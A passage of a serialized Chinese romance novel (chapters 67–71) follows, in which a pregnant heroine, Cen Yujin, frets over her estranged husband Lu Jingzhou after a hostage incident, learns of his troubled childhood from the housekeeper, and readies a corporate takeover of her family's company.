“正常的兄妹,哥哥替妹妹挡了一刀,妹妹不可能直呼其名吧?” 岑予衿张了张嘴,最终还是沉默了。 陆京洲看着她这副欲言又止的模样什么都明白了。 肯定不是,要不然她也不会不回答。 艹! 周芙笙真的喜欢周时越! 可那句心里已经确定了,‘周时越是不是喜欢你,你是不是也喜欢他?’这句话他怎么也问不出口。 自取其辱罢了。 他心里暗骂了一句,头也不回,转身离开,背影满是落寞。 陆京洲的步子迈得又快又急,受伤的手垂在身侧,血珠顺着指尖滴落在地,蜿蜒成一条断续的线。 岑予衿的视线落在他的手上,那抹鲜红的颜色,刺的她眼睛生疼。 她乖乖的跟上,虽然腿很疼,但是……留在这儿他也许会更生气,而且她和周时越能不见面就不见面。 陆京洲的CPU都要干烧了,心口那股邪火烧得他五脏六腑都在疼。 走了不过五六步,身后就传来了细微的脚步声。 他脚步猛地一顿,不用回头也知道是她跟了上来。 那脚步声很轻。 他咬紧后槽牙,告诉自己别回头。 可那亦步亦趋的脚步声,像羽毛一样搔刮着他的心脏,又痒又痛。 妈的! 陆京洲在心里狠狠咒骂一声,终究还是没能硬下心肠。 他骤然转身,就见她低着头,小心地挪动着脚步,一瘸一拐的,那样子又乖又可怜。 陆京洲这才反应过来她的脚扭伤了。 几个大步,跨回她身边。 岑予衿没料到他会突然回来,惊得停下动作,有些无措地看着他。 陆京洲脸色依旧难看,阴沉得像暴风雨前的天空,一句话也没说,直接俯身,一手抄过她的膝弯,另一只手环住她的后背,将她打横抱了起来。 动作有些粗鲁,带着未消的怒气。 岑予衿低呼一声,下意识地搂住他的脖子。 “我自己能走……”她小声说,声音还带着哭过后的沙哑。 “闭嘴。”陆京洲硬邦邦地甩出两个字,抱着她大步朝包扎室走去。 他抱得很紧,手臂肌肉绷得僵硬,像是怕她挣脱,又像是在跟自己较劲。 岑予衿靠在他怀里,能清晰地感受到他胸膛剧烈的起伏。 她悄悄抬眼看他,他紧抿着唇,目光直视前方,根本不看她。 她知道他在生气。 看着他脸上新增的擦伤和手上狰狞的伤口,心脏像是被细细的针扎了一下,密密地疼。 她犹豫了一下,将脸轻轻靠在他坚实的胸膛上,小声开口,带着浓浓的鼻音,“阿洲,他……确实不是我亲哥。” 陆京洲身体几不可查地僵了一下,脚步却没停,只是从喉咙里发出一声模糊的,“所以……你是被领养的?” 得嘞! 他知道了,是伪骨科! “算是。”她声音更低了,带着不易察觉的心疼,“你的手……流血了。谢谢你救我,你在楼下的时候我就看到你了。” 陆京洲心头那股无名火,因为她这句软软的话,奇异地消散了大半,只剩下满满的酸涩和无力。 他低头,看了一眼怀里的女孩,终究是叹了口气,抱着她的手臂稍稍放松了些,语气也缓和了一点,但还是硬气,“我死不了,你哥也死不了。先管好你自己。” 说完,他抱着她,一脚踢开了包扎室虚掩的门,对着里面的护士冷声道,“给她处理伤口。” 第67章 不是吧大馋丫头!你这么快就爱上陆京洲了! 岑予衿看着他手上的伤,也有些担心,“给他也包扎一下。” “不用管我。”陆京洲说完这话,头也不回的离开了包扎室。 岑予衿不敢再惹他了,低着头乖乖的任由他们包扎,一句话也没说。 只是视线,还是会不自觉的落在门口。 陆京洲到底怎么了? 为什么会突然问那些话。 岑予衿身上的伤不多,只是脚扭了一下,医生给她揉了一下,又开了点药。 弄完已经是20分钟以后的事了。 小护士一脸羡慕的看着她,“陆太太,陆少对您可真好,他徒手从1楼,爬到2楼,从卫生间的通风口爬进去救您。您都不知道,他有多着急,还跟警察说,要上去换你,他来当劫匪的人质。” 另外一个小护士立马附和,“还给他属下打电话,把他账户上能取过来的现金全部取过来,那边似乎和他确认是所有吗?他毫不犹豫的说所有!” 两人说的那叫一个心花怒放,“实在是太帅了!” “对了,我听说他脾气不太好,是个无所事事的二世祖,但今天这么一见,感觉网上的话也不能全信。” 岑予衿听着两人叽叽喳喳的声音,心里某个地方像是被烫了一下,所以他的身上全都是伤。 可是……那时候的她完全吓傻了,眼里只有浑身是血的周时越,忽略了他的感受。 他也很紧张,特别是看到劫匪的到要落下了的瞬间。 他那速度恨不得直接冲过来等在她面前可是离得太远。 岑予衿真的后悔了,可是……现在说什么都没用。 “陆太太你们俩实在是太般配了,你长得那么漂亮,陆少又那么帅,你俩生出来的宝宝那得漂亮成啥样啊?” 岑予衿这才回过神来,冲他们笑了笑,“谢谢。” 她得去哄哄陆京洲了。 手上的伤发炎了怎么办? 还有他脸上那些擦伤,虽然很浅,但是也有留疤的可能。 留了疤就不帅了。 岑予衿被两个小护士扶着出门,可门外压根就没有陆京洲的身影。 只有大老远跑过来的吴妈,小心翼翼的扶住了她,语气里满是担忧,“少夫人,我扶着您点儿,很疼吧?” 岑予衿摇了摇头,“不是很疼,没关系。” 吴妈扶着她往外走,岑予衿四处张望着,试探性的问,“阿洲呢?去包扎伤口了吗?” 吴妈摇头,“二少爷给我打电话,说让我过来陪着您,他说周少爷那边他已经安排好了,目前还在手术室抢救,您要是不放心,可以先过去陪着。等他手术结束了再回家。” 吴妈不清楚他到底是怎么了,不过能看出来他们俩应该是闹矛盾了。 今天早上还一块堆雪人,这才出来一趟,两个都受伤了,二少爷还提前走了。 不过她也没对他的安排有什么疑惑,毕竟周少爷也是因为少夫人受伤的,而她又是他的妹妹,确实应该过去陪着。 “回家吧。” 吴妈听到这话有些意外,却也没有都说什么,扶着她往外走。 陆京洲安排好了就行,她再过去也没有意义。 遇上周家人和林舒薇她更不舒服。 今天能遇上的事情,到现在她还没有从惊吓中回过神来。 而且……陆京洲是必须要哄的。 她得赶紧回家。 岑予衿回到家,已经不早了,陆京洲没有回来。 厨师给她安排了丰盛的晚餐。 她没什么胃口,没吃几口就放下了筷子。 拢了拢身上的披肩,走到落地窗前,隔着玻璃看向外面的雪人。 早上堆雪人时的画面还历历在目。 岑予衿犹豫了一下,拿起手机拨通了他的电话。 电话响了很久,没有人接听。 岑予衿想了想,还是决定发个消息过去问问。 【阿洲,你吃饭了吗?】 【伤口有没有去包扎?】 【有没有其他地方受伤?】 【衣服都刮破了,身上应该也有伤吧。】 岑予衿打开手机相机,拍了张今天早上堆的雪人过去,【今晚的雪好大,明天早上我的雪人,不会被埋了吧~】 【对不起,事情发生的太突然,我当时被吓傻了,没有照顾到你的情绪。】 【我知道,今天的事情你也被吓到了,为了救我,你受了好多伤。】 【你在哪儿?给我回个消息报个平安好吗?】 【我去接你好不好?】 岑予衿发了很多消息过去,无一例外都是石沉大海。 岑予衿一个人在窗边站了很久,站到手脚发麻。 才低着头往楼上走,心里像是堵着一口气,闷闷的,很难受。 麻木的上楼洗漱,躺到床上,还是觉得不舒服。 叮咚~ 放在床头的手机,突然响了一下。 岑予衿还以为是他回消息,快速的拿出手机,解锁点开。 才发现原来只是APP的消息推送。 她明明不喜欢陆京洲,对他……从始至终都只有利用,可是为什么他不开心自己会那么难受。 甚至睁眼闭眼全部都是他。 岑予衿把大灯关了,只留下一盏昏暗的床头灯,泛着暖黄的光。 闭着眼睛,不想想他。 可刚闭上眼睛,脑子里闪现的画面,确实医院里那抹鲜红的颜色。 不是……周时越身上流的血。 是陆京洲手上的血。 是他疯了一样,从卫生间里冲出来的画面,严厉的恐惧几乎要溢出来。 岑予衿睡不着了。 一下子从床上爬了起来,没有任何动作,就这么静静的坐在床上。 到最后用力的揉了揉头发,颓废的低下了头。 看着身边的小兔子玩偶,把它揪了起来。 泄愤似的轻轻的在它肚子上打了几下。 陆京洲的声音突然响了起来。 岑予衿吓了一跳。 这才发现,她的小兔子玩偶居然有录音功能。 是她被老太太藏起来,陆京洲疯狂找她那几天时说的话。 一开始那几条是他发给她的语音,拿到手机之后她就听了。 是在放狠话,可是那狠话句句都是在担心她。 比如要把限量款包包送给别的女人,抓到了要给她一点颜色看看之类的。 听完那几条已经给他发送过的语音之后是长久的沉默。 就是她以为没有了。 玩偶里的声音又响了起来。 【周芙笙,老太太的话你可千万别听,没一句好话。】 这会的他一直在自言自语。 【再不回来我可真要签离婚协议了,要是离婚了,你求着我复婚,我都不会复婚的。】 【骗子!小骗子!大骗子!大骗子,肚子里还揣着个小骗子!】 找不到她,他在无能狂怒。 …… 最后一句是【周芙笙,要不我睡个觉?你来我梦里告诉我你在哪儿?】 可以听出来他真的没有办法了,可这句话说出来之后,是连续的几声呸呸呸。 也许是觉得托梦不太好。 岑予衿反复播放着,那几段录音。 听着他的声音,鼻尖莫名有些酸涩。 岑予衿用力抱紧了那个小兔子玩偶。 她这是怎么了? 岑予衿拿出手机,拨通了苏乐言的视频通话。 那边秒接,苏乐言敷着面膜躺在床上,看到她心情不太好的样子,率先开了口。 “这么晚给我打电话怎么了?” “有点感情上的问题,你帮我分析一下呗。” 岑予衿没拿手机的那只手攥着床单,将今天发生的所有事情和苏乐言说了一遍。 苏乐言听的目瞪口呆,“你那前夫不会恢复记忆了吧?” 岑予衿摇了摇头,“不知道,我想问你的不是这个。” “那是什么?” 岑予衿想了想,“陆京洲他不回我消息,这是他第一次不理我,我该怎么办?” 苏乐言一下子就把脸上的面膜揭了,坐起身,“不是吧大馋丫头!你这么快就爱上陆京洲了!” 第68章 超级助攻:苏乐言! 苏乐言一脸嗅到了不对劲的表情,声音提高了8度,“陆京洲到底是有多大的魔力啊,让你这么一个被爱伤透的女人,不到两个月就爱上!” “我没有!我没有爱上他!”岑予衿想都没想就否认了。 她没有。 从嫁进陆家那一天开始,她就告诫过自己,不能动心,不能动情,他们之间绝不允许有爱。 她只是装作很爱他,装作很喜欢他。 一切都只是为了在陆家生存下去。 她想要的只是陆家二少奶奶这个身份。 她不喜欢陆京洲。 她和周时越青梅竹马,10多年的感情,到最后还不是无疾而终。 对于不爱的人来说,失去一段感情毫伤害。 可对她来说痛彻心扉。 她不相信爱情,也不敢轻易的去尝试另外一段感情。 她不爱陆京洲。 真的……一点都不爱。 “你说你没有爱上他,那你为什么现在大半夜的要给我打电话?这会是睡觉时间。” 苏乐言这是旁观者清。 如果自己闺蜜对他一点感觉都没有,这会的她应该睡得很香。 “他为了救我受了伤,给他发消息他不回,我只是有点担心他!” 苏乐言在屏幕那头翻了个白眼,“得了吧岑予衿,你骗鬼呢?担心到半夜睡不着,抱着个玩偶听录音,还跑来问我怎么办?你这叫‘有点担心’?你这叫坠入爱河而不自知!” 岑予衿被她说得心头一跳,下意识反驳,“我只是……只是觉得愧疚。他为了我受伤,我还忽略了他……” “愧疚?”苏乐言嗤笑一声,“你对周时越那才叫愧疚!看他躺地上你魂都没了,那是出于道义和过往情分的愧疚。可你对陆京洲呢?你现在是坐立难安,是怕他生气,是怕他不理你!这能一样吗?” 岑予衿张了张嘴,却发现无从辩驳。苏乐言的话像一根针,精准地刺破了她试图掩盖的真实情绪。 “衿衿,”苏乐言语气软了下来,带着几分认真,“承认吧,你对他动心了。陆京洲虽然看起来是个二世祖,但他对你怎么样,我们这些旁观者看得清清楚楚。他今天能为了你拼命,平时也能把你捧在手心里。这样的男人,你喜欢上他,不丢人。” 苏乐言继续,“他这个人我没有接触过,不是特别了解,但是从你口中的只言片语也不难看出他是个很不错的人,就拿宋老太太生日宴那件事儿来说,陈家就被他玩挺惨。” 苏乐言苦口婆心的劝道,“你和周时越已经是过去式了,你为什么不能尝试着进入一段新的感情呢?” 岑予衿沉默了,低着头细数着陆京洲替她做过的那些事情。 他是一个有洁癖的人,却能够把一只已经腐烂的小狗亲手挖出来包好。 替她给小狗找个安息的地方。 他会无条件的站在她身后,林舒薇和周时越在她这儿讨不到一点好。 她失联那几天,他像疯了一样到处找她,找到她那天,他抱的真的很用力。 还有她被林舒薇绑架,仅仅只是一个看不懂的消息,他也还是单枪匹马来救他了。 他还会给她送温牛奶,给她搭配衣服,陪她幼稚的堆雪人,陪她产检…… 还有今天,他拼了命也要救她。 这一桩桩,一件件,她真的没有动过心吗? 说实话,她自己也不太清楚。 “陆京洲应该只是看起来不靠谱,只有真正接触了知道。” 岑予衿欲言又止,她真的不知道。 “衿衿,如果你对他真的一点感情都没有,你就不会失眠,你就不会担心他身上还有没有其他的伤。” 岑予衿觉得有些不可思议,“可……10多年的感情,我真的两个月就放下了吗?” “衿衿,不是两个月,是半年……周时越回国的这半年,做的那些事情还不够,让你死心吗?” 苏乐言真恨铁不成钢,“其实从别人说他坏话,你下意识的维护他开始,他在你心里的位置就不一样。心疼是爱一个人的本能反应,当你开始心疼一个人,说明……你开始有点喜欢他了。” “不信你扪心自问一下,大街上随便一个男人,你会心疼吗?” 岑予衿猛的抬头,她说的好像确实有点道理,用力的摇了摇头,“不会。” “那不就得了,陆京洲那么帅,试试又不丢人,他估计也有点喜欢你,今天这表现指定是吃醋了。” 岑予衿一听好像是这么回事儿,豁然开朗,“那我应该怎么办?” “哄呗,男人很好哄的。” 岑予衿毫不犹豫的翻了个大白眼回去,“搞得好像你谈过很多似的。” 苏乐言意味深长的摇了摇头,“没吃过猪肉,还没见过猪跑吗?姐虽然没谈过,可是姐演过,还演过很多,什么类型的都有。你们这属于闪婚+先婚后爱。” 岑予衿:“……” 苏乐言笑道,“好了好了,你还是个小孕妇呢,赶紧睡觉,明天早上他要是不回你消息,你再去找他呗,别胡思乱想了,他只是吃醋了。” 岑予衿看了一眼时间确实不早了,这都打了快一个小时电话了,挂断了电话。 没过多久,外面就传来了敲门声。 第69章 阿洲小时候的事儿 “少夫人,您睡了吗?”吴妈的声音在门外响起。 岑予衿皱眉,都这么晚了吴妈怎么还上来,不会是陆京洲出什么事儿了吧? 她心头一紧,下意识攥紧了被角。 “请进!”岑予衿从床上坐了起来,有些紧张地看向门口。 吴妈端着一个托盘进来,上面放着一杯冒着热气的牛奶,还有一个小巧的医药箱。 岑予衿更加意外了,她好像并没有吩咐需要这些东西吧。 吴妈将托盘放在床头柜上,脸上带着慈祥的笑意,“少夫人,晚上喝一杯温牛奶,会更好入眠。我给您热了一杯,您喝了再睡。” 她边说边打开医药箱,从里面拿出一个看起来就很昂贵的棕色小瓶药油,“还有这个脚踝扭伤的地方和手腕上的淤青,都得用药油好好揉开,不然明天会更难受。” 岑予衿愣住了,目光落在那个药油瓶上。 她每天晚上要喝一杯温牛奶,这个习惯还是陆京洲给她惯出来的。 可……她昨天晚上才到这儿住,她没吩咐下去,不可能有人知道。 还有身上的那些伤,白天已经去过医院了,她自己都没有那么在意……这么晚了吴妈不可能无缘无故上楼。 “您放心,这个药油成分很安全,孕妇可以用。” 一个念头清晰起来,带着不容置疑的暖意,不断撞击着她的心扉。 “吴妈……”岑予衿的声音有些低,带着一丝不易察觉的微颤,“是……阿洲安排的,对吗?” 吴妈手上的动作顿了顿,脸上闪过一丝被戳破的尴尬,随即笑道,“少夫人您快趁热把牛奶喝了,这药油我帮您……” “吴妈,”岑予衿抬起眼,目光清亮而坚持,她看着吴妈,语气柔和却不容回避,“您就告诉我实话,是不是他?” 看着岑予衿那执着的眼神,吴妈知道瞒不住了,轻轻叹了口气,脸上露出又是无奈又是欣慰的笑容,“是少爷。他刚才特意打电话回来吩咐的,说您今天受了不少罪,脚和手肯定不舒服,让我务必看着您用了药油,再喝杯热牛奶好好休息。不过他没让我告诉您…… 少爷他……看着不靠谱,其实心细得很,少夫人您的一点小事他都放在心上呢。” “对了,他还说周家大少爷已经脱离生命危险了,您不用太担心。” 吴妈后面还絮絮叨叨说了些什么,岑予衿已经听不太清了。 她只觉得心口像是被什么东西塞得满满的,又酸又胀。 陆京洲那个男人,自己带着伤、生着闷气不知躲在哪里,却还在深夜记挂着她这点微不足道的伤。 这种细致入微的关怀,无声无息,却比任何轰轰烈烈的告白都更能穿透她层层设防的心。 苏乐言的话再次清晰地回响在耳边,“心疼是爱一个人的本能反应”、“他估计也有点喜欢你”…… 岑予衿低头,看着自己手腕上那圈淡淡的青紫,又感受了一下脚踝隐隐的酸胀,最后看向那杯氤氲着热气的牛奶和那瓶昂贵的药油。 她一直以为自己伪装得很好,以为在这场婚姻游戏里保持清醒、不动心就能全身而退。 可陆京洲,却用他看似随意实则用心的方式,一点点瓦解了她的壁垒。 她好像……真的没办法再继续自欺欺人了。 “谢谢。”岑予衿接过那杯温牛奶,声音比刚才轻柔了许多,带着一种下定决心的平静。 吴妈坐在床边,小心翼翼的给她揉着脚踝。 房间里重新安静下来,只剩下牛奶温热的香气和药油特有的味道弥漫在空气中。 药油辛辣温热的感觉透过皮肤渗入,仿佛也带着某个人无声的关切,一点点熨帖着她不安的心。 她一边捧着牛奶,一边抬眼望向窗外沉沉的夜色,“吴妈,你在陆家工作多久了?” 吴妈揉药油的动作一顿,思绪像是飘回了很久很久以前,“我一开始的时候是跟着苏小姐的。” 陆京洲的母亲好像叫苏月沁。 “阿洲的母亲?” 吴妈点了点头,“对,从她没嫁过来开始就跟着她了。” 岑予衿有些意外居然会这么早,“那阿洲小时候的事情,你肯定也知道一些吧?” 岑予衿从没想过要了解他,可是刚才苏乐言这么说了之后,她有了想要了解她的冲动。 “您想知道些什么?” “都可以,只要是你记得清楚的,都跟我说说吧,比如他的性格之类的,是以前就这么暴躁易怒吗?”岑予衿是真的很好奇。 “不是的,二少爷以前可乖了,又软又萌的,就喜欢粘着苏小姐,可不知道怎么了,苏小姐生病离世,他性格一夜之间就变了。” 岑予衿双手捧着牛奶,歪头看着她,眼里满是不解,“一夜之间就变了?具体表现在哪些方面?” 吴妈回忆道,“脾气性格是第一个方面,以前二少爷很喜欢现在的陆太太,也就是他的小姨,可从苏小姐去世之后,他开始讨厌她,恨之入骨的那种。” “会不会是因为母亲刚去世,父亲就娶了她,他才会那么讨厌她?” 岑予衿猜测是这样的,毕竟他母亲才去世没多久他父亲就再娶了,娶的还是自己的小姨。 那这两人之间没有一点私情是绝对不可能的,毕竟自己的原配妻子尸骨未寒。 “这应该也是其中一个原因吧,具体的我也不太清楚。” 吴妈小心翼翼的帮她揉着脚踝,尽量不让药油滴在床单上,“大少爷和二少爷是同父同母的亲兄弟,在苏小姐没去世时,兄弟俩关系可好了。二少爷喜欢粘着大少爷,跟在他屁股后面跑,可她去世之后,二少爷连带着大少爷也不喜欢了。” 这个岑予衿听说过一点,“我听说是因为大哥和后妈走得近,会不会是这个原因?母亲去世的时候阿洲才五岁,可能还比较依赖她。” 吴妈摇了摇头,表情异常复杂,“也许吧。” 岑予衿敏锐地察觉到吴妈语气中的迟疑,她追问道,“吴妈,是不是还有别的原因?我听说……后来苏月兰还把阿洲送进过精神病院?可我看他现在,除了脾气急了些,并没有什么问题。” 吴妈的手猛地一顿,脸色有些苍白,下意识地左右看了看,像是怕这些话被人听到。 她压低了声音,带着后怕和痛惜,“少夫人,这事儿……这事儿当年被捂得很严实,在陆家没人敢提这件事情。二少爷他……他那时候只想同归于尽,想拉着所有人一起死。” 岑予衿的心猛地一沉,捧着牛奶杯的手指微微收紧,“什么意思?” 吴妈的声音更低了,几乎成了气音,“事情发生在苏小姐去世后第四年的一个晚上,二少爷……他在全家人的晚饭里……下了药。” 岑予衿倒吸一口凉气,瞳孔骤然收缩。 “幸好那天先生有应酬,回来得晚,没动筷子。大少爷胃口不好,只尝了一口就觉得味道怪,吐掉了。陆太太……苏月兰她吃得也不多。” 吴妈回忆着,声音带着颤抖,“最先发作的是几个佣人,肚子疼得打滚。然后是大少爷和陆太太,上吐下泻,脸色发青……当时家里乱成一团。” “那阿洲呢?”岑予衿的声音有些发紧。 “二少爷他自己也吃了。”吴妈眼里涌上泪水,声音颤抖,“他才那么小一个人……他就坐在餐桌旁,看着大家痛苦的样子,不哭也不闹,眼神……眼神空空的,好像早就知道会这样。 后来被催吐、洗胃……折腾了一整夜。 醒来后,苏月兰就说他疯了,说他精神不正常,有暴力倾向,有反社会型人格,不顾先生的犹豫和反对,强行把他送进了城郊那家看管很严的精神病院。” 岑予衿只觉得一股寒意从脚底直窜头顶,心脏像是被一只无形的手紧紧攥住,疼得她几乎无法呼吸。 一个10岁不到的孩子,是经历了怎样的绝望和痛苦,才会选择用这样惨烈的方式,试图与周围的一切同归于尽? 他当时该有多恨? 又该有多害怕? 陆京洲身上的秘密不是一时半会就能发掘完的。 她忽然明白了他那种与世界为敌的疏离感,明白了他作天作地,想找的所有人都不得安宁的性格,或许都源于那道深可见骨从未真正愈合的伤疤。 药油的温热依旧熨帖着皮肤,牛奶的暖意还残留在胃里,可岑予衿却觉得浑身发冷。 她看着窗外沉沉的夜色,心里那个想要去找他的念头,变得无比迫切。 “幸好有奶奶,要不然阿洲一辈子都要在那暗无天日的地方度过了。” 说到这个吴妈神色更加复杂,欲言又止。 岑予衿敏锐的发觉了她的不对劲,立马开了口,“吴妈,您有什么话直接跟我说就行了,我和阿洲是夫妻。我想多了解他一点。” “老夫人把二少爷从精神病院带出来送到国外,已经是一年后的事情了。谁也不知道那一年里二少爷到底经历了什么,10多岁出国,出国之后再也没有回来,也没用过陆家一分钱。” 岑予衿更加意外了,在她的认知里陆京洲就是那种无所事事的二世祖。 一个10多岁的孩子在国外语言不通,想想都觉得害怕。 他还没用过家里一分钱这是她想都不敢想的。 他是怎么活下来的呢? “老太太为什么一年后才把他接出来?” 吴妈摇头,“这我就不太清楚了。苏小姐去世之后,我们一直守着檀月山庄,这是苏小姐留下的唯一遗物。” 岑予衿猛的抬头,老太太把檀月山庄转移到她名下的时候,她单纯的以为是当成婚房送给他们,就收下了。 没想过还有这一层。 这个山庄承载着陆京洲太多的故事,她知道该怎么哄他了。 岑予衿这会儿是完全睡不着了。 第70章 陆京洲绯闻冲上热搜 “吴妈。”岑予衿压下心头的惊涛骇浪,尽量让自己的声音听起来平静,“那你知道……阿洲现在可能在哪儿吗?他受了伤,我联系不上他,有点担心。” 他是真的得好好哄一下的,“我还不知道他到底怎么了,气成这个样子,不哄,他会更伤心的。” 吴妈听到这话,嘴角忍不住往上勾了勾,小两口感情还挺好的,摇了摇头,“少夫人,这个我是真不知道。少爷他没回老宅,也没回山庄。他名下房产多,可能去了别的住处。” 她看着岑予衿担忧的神色,宽慰道,“少爷他从小就有主意,能照顾好自己的,他朋友也很多,不开心了会去找朋友。您别太担心,先休息吧。” 岑予衿知道从吴妈这里问不出更多了。 她点了点头,看着吴妈收拾好东西离开房间。 门一关上,岑予衿立刻拿起手机,拨通了一个号码。 京城的金牌律师——张律。 岑予衿和他挺熟的,岑家好几个案子都是他帮忙办理的,和她父亲也有点交集。 “张律师,抱歉这么晚打扰你。”岑予衿的声音清晰而坚定,“我需要你立刻帮我准备一份房产赠与协议,将我名下的‘檀月山庄’产权,完整地且无条件地赠与我的丈夫,陆京洲先生。 我希望今晚就能签署所有必要文件,明天一早就能去办理公证和相关过户手续。” 电话那头的张律师虽然有些意外大晚上的她要做这件事,但专业素养让他立刻回应,“明白了,岑小姐。我马上准备协议,并协调公证处,争取预约明天最早的时间。文件准备好后,我立刻送到檀月山庄给您过目签署。” “好,麻烦你了,越快越好。”岑予衿挂断电话,心头的迫切感并没有因此减弱。 她站在房间中央,环顾着这个房间。 这里的每一寸空气,似乎都还残留着陆京洲母亲的气息,以及他童年短暂的美好与后来无尽的痛苦。 她之前只是单纯把它当作一个住处,此刻却感觉这里沉重得让她无法安心,无法入眠。 她不知道陆京洲在哪里,也不知道他此刻的心情。 但她想用这种最快,最直接的方式告诉他她知道了那些沉重的过往,她心疼他所经历的一切。 这个承载着他最多复杂情感的地方,理应物归原主。 这不是施舍,也不是补偿,而是她想要迈出的,靠近他真实内心的第一步。 凌晨时分,张律师带着准备好的文件赶到了檀月山庄。 岑予衿在灯光下仔细了赠与协议,确认无误后,郑重地签下了自己的名字。 “公证处那边已经约好了,明天上午九点。”张律师告知其他安排。 岑予衿点点头,“好,明天准时见。” 送走律师,窗外天色已微露晨曦。 岑予衿毫无睡意,她再次拨打陆京洲的电话。 这次显示的是关机。 岑予衿到现在都不知道他到底是怎么了,连哄他的机会都没有。 第二天十点,公证完毕,岑予衿顺利的拿到了那份赠与协议。 可是找遍了整个京城,都没有他的身影。 整整一个月! 再次听到他的消息,还是在娱乐头版头条上。 他和一个小明星在M国旅游。 不过,那个热搜只停留了半个小时就消失了,像是没有出现过。 要不是她保存了那张图片,她甚至都要怀疑自己的记忆错乱了。 岑予衿看着手机里保存下来的那张照片,指尖冰凉。 照片拍得有些模糊,但依然能清晰辨认出陆京洲的侧脸。 他穿着休闲的夏威夷衬衫,戴着墨镜,慵懒地靠在一辆跑车边。 而他身旁,一个身材火辣,笑容明媚的年轻女孩正亲昵地挽着他的手臂,仰头看着他,姿态亲密无间。 背景是M国著名的海滨大道,阳光灿烂,游人如织,一切都透着轻松惬意的度假氛围。 他看起来……很好。 没有她想象中的消沉、受伤,更没有因为她那晚的忽略而有半分不快。 他在一个她找不到的遥远国度,享受着阳光、海滩和美人的陪伴,风流快活。 一如他传闻中那个没心没肺的陆家二少。 那她这一个月来的担心、愧疚、夜不能寐,又算什么? 她连夜签署赠与协议,一大早跑去公证,像个傻子一样急切地想要把檀月山庄还给他,想要靠近他,想要哄他…… 这一切,此刻看来都像是一场自作多情的笑话。 他根本不在乎。 不在乎她是否担心,不在乎她是否想了解他的过去,甚至可能……根本不在乎他母亲留下的唯一遗物檀月山庄。 心脏像是被一只无形的手狠狠攥住,钝痛蔓延开来,连呼吸都带着细微的刺痛感。 一股难以言喻的酸涩冲上鼻腔,眼眶不受控制地发热。 她以为自己开始看懂他了,以为自己终于触摸到了他坚硬外壳下的柔软。 可这张照片,像一盆冰水,将她好不容易燃起的勇气和决心浇得透心凉。 也许,苏乐言说对了开头,却没猜中结局。 他或许是有点喜欢她,但这点喜欢,浅薄得随时可以被更新鲜的刺激所取代,甚至抵不过一场因她而起的,需要出国散心的闷气。 而她,却在他细致入微的关怀和那段惨烈的过往中,不知不觉动了一丝真心。 所以此刻,才会因为这张照片,感到这么难过。 岑予衿闭上眼,将手机屏幕按灭,紧紧攥在手心,仿佛这样就能抹去那张刺目的图片。 可那画面,连同心底那股尖锐的失落和疼痛,却清晰地烙印在那里,挥之不去。 浪子怎么可能那么容易回头? 为了一棵树,放弃一整片森林,陆京洲他是傻子吗? 手机突然亮了一下。 这段时间岑予衿一直在找他,给他发了无数条消息。 现在手机突然亮一下,她也会下意识的觉得是陆京洲给她发了消息。 可打开手机一看不是。 是陆老太太发来的消息,言简意赅:【衿衿,时机已到。空降岑氏,拿回属于你的一切,放心,陆家永远在你身后,你想怎么做就怎么做。】 这条信息像一剂强心针,瞬间刺破了笼罩着她的自怨自艾。 岑予衿深吸一口气,再缓缓吐出,胸腔里那股憋闷的痛感似乎也随之消散了一些。 是啊,她在这里为了一个不着调的男人伤心难过,简直愚蠢透顶。 周时越身上受的伤还不够多吗? 她为什么还要相信爱情,相信男人? 她还有更重要的事情要做。 岑予衿站起身,走到梳妆台前,看着镜中那个眼眶微红带着几分脆弱的自己。 闭了闭眼,再睁开时,里面只剩下坚定。 她拿出遮瑕膏,仔细地掩盖掉眼底的痕迹,然后开始利落地化妆。 半个小时后,镜子里的人已经焕然一新。 精致的妆容,一丝不苟盘起的发髻,换上了一套剪裁利落的深灰色西装套裙。 她看着镜中的自己,眼神锐利,气场沉稳,哪里还有半分刚才为情所困的模样。 她拿起手机,拨通了张律师的电话,声音冷静得听不出任何情绪,“张律师,之前让你准备的,奶奶给我的股权转让书,以及我小叔岑海峰这些年所有违规操作的材料,全部准备好。 另外,以陆家二少奶奶及岑氏最大股东的名义,通知岑氏集团董事会及主要管理层,明天上午十点,我要在总部召开临时董事会。” “是,陆太太。”张律师在电话那头恭敬应下。 与此同时,岑氏集团总部大楼里,一种紧张又期待的气氛正在蔓延。 “听说了吗?明天要有新总裁空降了!” “真的假的?什么来头?能把岑总挤下去?” “不清楚,神秘得很,据说是陆家总部直接任命的,来头不小!” “各部门都在紧急准备汇报材料呢,岑总办公室的灯亮了一整晚!” 总经理办公室内,岑海峰面色阴沉地听着秘书的汇报。 “查不到任何信息?”他烦躁地松了松领带,“总部那边口风很紧,只说是持有绝对控股权的新任董事长兼CEO。” 他站起身,走到窗边,看着楼下车水马龙,“给我盯紧了,明天我倒要看看,是哪路神仙,敢来动我的位置!” 岑予衿站在檀月山庄的书房里,面前摊开着所有关于岑氏的文件。 台灯的冷光映照着她沉静的侧脸,她的手指轻轻划过一家三口的全家福。 明天,她将不再只是岑予衿,她是陆家的二少奶奶,是岑家名正言顺的继承人。 她要堂堂正正地,走进那座原本就属于她父亲的大楼。 有些东西不是岑海峰坐在那儿就是他的。 三年了,进入岑氏,只是复仇的第一步! 至于陆京洲……等他回国,两人得好好谈谈。 第71章 现在的岑氏,还轮不到你喊保安来赶我 岑氏顶楼会议室! 一众高层已经等着了,神色各异。 有一批股东抱着的都是只要有分红够多,跟谁干都无所谓的状态。 另一批则是岑海峰的忠实拥护者,势必要拥护他坐稳那个位置。 最慌的莫过于岑海峰,不断的看着腕表,低声问旁边的助理,声音满是急切,“城安集团的人什么时候到?今天能到吗?” “刚下飞机,到公司至少要一个小时。” 岑海峰眉头皱的更紧了,只有拿下城安集团的合作项目,他才有翻身的机会。 岑氏顶楼会议室的空气像凝了冰,鸦雀无声中,只有岑海峰的声音带着刻意营造的沉稳,回荡在红木长桌两端。 他站起身,双手撑着桌面,目光扫过在座的股东与高管,语气铿锵,“各位,在座的大多是跟着岑氏一路走过来的老人,这三年,岑氏是什么光景,大家心里都有数!” 他抬手示意助理投屏,屏幕上瞬间跳出亮眼的营收曲线,“三年前,岑氏濒临破产,是我临危受命,力挽狂澜!砍掉亏损项目,就连去年大环境低迷,咱们的净利润依旧逆势增长15%!” “岑氏能有今天的规模,是靠我们一点一滴打拼出来的!近几年集团利润逐年攀升,股价稳步上涨,这都是大家有目共睹的事实。” “城安集团的合作案,我已经谈妥了九成,只要拿下这个项目,岑氏未来三年的订单都不用愁!” 